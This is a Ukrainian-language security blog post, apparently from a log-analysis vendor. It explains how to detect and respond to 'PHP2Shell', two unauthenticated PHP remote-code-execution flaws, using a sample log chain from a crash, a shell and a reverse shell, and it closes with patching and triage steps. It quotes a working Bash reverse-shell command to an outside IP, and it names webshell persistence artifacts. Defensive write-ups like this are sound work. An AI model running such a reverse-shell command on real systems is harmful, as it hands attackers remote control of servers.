Аналіз виявлення та експлуатації PHP2Shell

Виявлення PHP2Shell важливе, оскільки вікно між виправленням і реальним експлойтом може становити всього один день. PHP2Shell – це назва двох уразливостей виконання коду на відстані без автентифікації у ядрі PHP, CVE-2026-109618 та CVE-2026-109619, обидві оцінюються за CVSS v4.0 у 9.2. Автентифікація не потрібна, тому будь-яка відкрита PHP-застосунок на непропатченій версії є ціллю. У прикладі нижче експлойт з’являється як падіння робочого процесу PHP з подальшим запуском команд від імені користувача веб-сервера.

Ця стаття охоплює виявлення PHP2Shell за допомогою зразка журналу, проаналізованого у LogTotal, інструменті аналізу журналів, який зіставляє події з відомими загрозами. Нижче ми пояснюємо контекст уразливості, звідки взяті журнали, що знайшов LogTotal і як реагувати.

Аналіз PHP2Shell

Обидві уразливості PHP2Shell отримали рейтинг 9.2 за CVSS v4.0 і обидві можуть бути досягнуті без автентифікації на будь-якій інсталяції PHP, що обслуговує веб-запити. Щоб правильно прочитати зразок журналу, корисно знати, як працює кожна помилка, якою швидкою була їхня розкриття, і які інсталяції є під загрозою.

Почніть безкоштовно

Деталі уразливості для PHP2Shell

Дві CVE – це окремі помилки безпеки пам’яті у способі обробки запиту PHP. Кожна з них дозволяє зловмиснику виконувати код від імені користувача веб-сервера.

• CVE-2026-109618, ушкодження пам’яті. Коли PHP розходиться з пам’яттю під час налаштування запиту, внутрішні дані залишаються наполовину готовими, а код очищення потім їм довіряє.
• CVE-2026-109619, застарілий глобальний стан. Внутрішній стан переживає пам’ять запиту, на який він вказує, тому наступний запит, підібраний тим самим робочим процесом, може діяти на залишені дані.

Ось чому експлойт з’являється як помилки “Перевищено дозволений обсяг пам’яті…” та падіння робочих процесів PHP. Публічні сканери PHP2Shell шукають ті ж сигнали.

Таймлайн виявлення та експлуатації

Дослідники з Calif виявили уразливості та повідомили про них PHP. Витік – причина, чому ланцюжок LogTotal названий “Leaked Critical PHP Vulnerabilities”. Публічний PoC код та фреймворки експлойтів з’явилися на GitHub через кілька днів, і один інструмент досліджень повідомляє про підтверджене виконання команд як www-data на збірках від PHP 7.4 до 8.4 нижче виправлених релізів.

Які системи піддаються впливу PHP2Shell

PHP перераховує кожен випуск до 8.5.12, 8.4.27, 8.3.36 і 8.2.35 як уразливий, і старіші гілки також під загрозою.

Будь-яка установка PHP, що обслуговує веб-запити, підлягає дії, чи вона виконується під PHP-FPM, Apache mod_php, php-cgi, LiteSpeed або FrankenPHP. PHP оцінює ризик найвищим для Apache mod_php, де атака може вдатися до виконання до запуску будь-якого коду програми.

Джерело журналу та збір

Файл об’єднує два джерела в одну схему:

• 2 рядки у текстовому вигляді з середовища виконання PHP і журналу помилок PHP-FPM
• 4 події (файл і процес), нормалізовані до ECS

Змішання типове для того, що досягає SIEM на практиці: журнали помилок додатків поряд з телеметрією EDR.

Виявлення PHP2Shell

LogTotal обробив 6 рядків за 4.2 секунди, порівняв 9 правил з 4 рядками і сформував один ланцюг на web-prod-01: PHP2Shell, Витекли критичні уразливості PHP (CVE-2026-109618 & CVE-2026-109619), Критичний, 100% збіг, 3 правила спрацювали.

Як розгортається ланцюг PHP2Shell

Ланцюг слідує за експлуатацією у три етапи, все протягом трьох секунд.

1. Падіння. Правило “Можлива спроба експлуатації CVE-2026-109618 / CVE-2026-109619 – вичерпання пам’яті PHP / падіння робочого процесу PHP” збіглося з фатальною помилкою PHP “Перевищено дозволений обсяг пам’яті” і смертю 1201-го дочірнього процесу PHP-FPM на SIGSEGV. Це ті самі сигнали падіння, які шукають публічні сканери PHP2Shell.
2. Shell з веб-робочого процесу. “Можливий запуск незвичайного процесу робочим процесом PHP” і “Підозрілий shell через веб-сервер [Linux]” зафіксували php-fpm, що виконувалося як www-data, запуском sh -c bash /dev/shm/.s. Скрипт був підготовлений у /dev/shm з підтримкою RAM.
3. Зворотній shell. “Можливе висування даних / Зворотний shell через Bash” збіглося з bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Позевалю ланцюг, чотири інші правила вдарили по тій же команді, очолювані Індикатором Зворотного Shell для Linux (Критичний).

Використання виявлень LogTotal у тріажі PHP2Shell

Ланцюг надає порядок подій та серйозність на одній сторінці. Сировина події дає IOC для блокування та наполегливість на видалення. Використовуйте обидва: підтвердьте три кроки ланцюга, а потім перегляньте події файлів і командні рядки для IOC та наполегливості.

Мітігація PHP2Shell

Остаточне виправлення для PHP2Shell – це виправлений випуск PHP, і PHP стверджує, що жодна зміна конфігурації не повністю мінімізує ці уразливості. На сервері, що вже був зламаний, пропатчення недостатньо: webshell та .user.ini зберігаються після оновлення PHP.

Виправте кожну інсталяцію PHP

1. Зробіть інвентаризацію всіх серверів і додатків, які виконують PHP, починаючи з систем, що виходять на інтернет, та будь-яких, що виконують PHP як модуль Apache.
2. Оновіть кожну інсталяцію до версії 8.5.12, 8.4.27, 8.3.36 або 8.2.35, відповідно до її гілки. Дистрибуції Linux отримали виправлення перед випуском, тому перевірте наявність оновлених пакетів.
3. Перезапустіть кожного робочого процесу PHP, щоб виправлення набрало чинності.
4. Для PHP 7.4, 8.0 та 8.1 використовуйте пакет дистрибуції або LTS постачальника або мінімальні бекпорти з вихідного коду PHP, або оновіть. PHP 7.3 і старіше не мають виправлення.
5. Обмежте доступ до інтернету для будь-якої системи PHP, яку ви не можете негайно оновити.

Трекери спільноти також повідомляють про CVE-2026-115560, окремий, залежний від конфігурації вектор завантаження прогресу сеансу, охоплений інформаційною рекомендацією PHP 23 жовтня 2026 року. Він не входить до складу PHP2Shell і був залишений для пізнішого випуску; проміжна рекомендація – session.upload_progress.enabled = 0.

Рекомендована відповідь LogTotal

1. Ізолюйте web-prod-01.
2. Збережіть його веб, системні та мережеві журнали.
3. Розслідуйте призначення зворотного шелла.
4. Перевірте версію PHP та патч.
5. Оповістіть про майбутні падіння робочих процесів PHP та запуски шелла.

Додаткові заходи з сирої уривки

1. Блокуйте егресс до 198.51.100.23:4444.
2. Збережіть докази перед очищенням: скопіюйте uploads/.cache.php, .user.ini, та /dev/shm/.s. Файли у /dev/shm втрачаються при перезавантаженні.
3. Видаліть наполегливість. Видаліть директиву auto_prepend_file, або, що краще, перерахуйте хост на виправленому випуску PHP.
4. Поверніть кожен секрет, який може прочитати www-data, такі як облікові дані бази даних та ключі API в конфігурації застосунку.
5. Полюйте за веб-флотом щодо:
   • .user.ini файли, що містять auto_prepend_file
   • приховані PHP-файли у папках завантажень
   • шелли, запущені php-fpm, php-cgi, apache2 або httpd

Постійний моніторинг PHP2Shell

Забезпечте потік журналів помилок PHP і PHP-FPM до вашого системи SIEM поряд з телеметрією EDR. У цьому зразку рядки аварій були першим сигналом, а події файлів EDR утримували наполегливість. Кожне джерело по окремості розповіло б лише половину історії.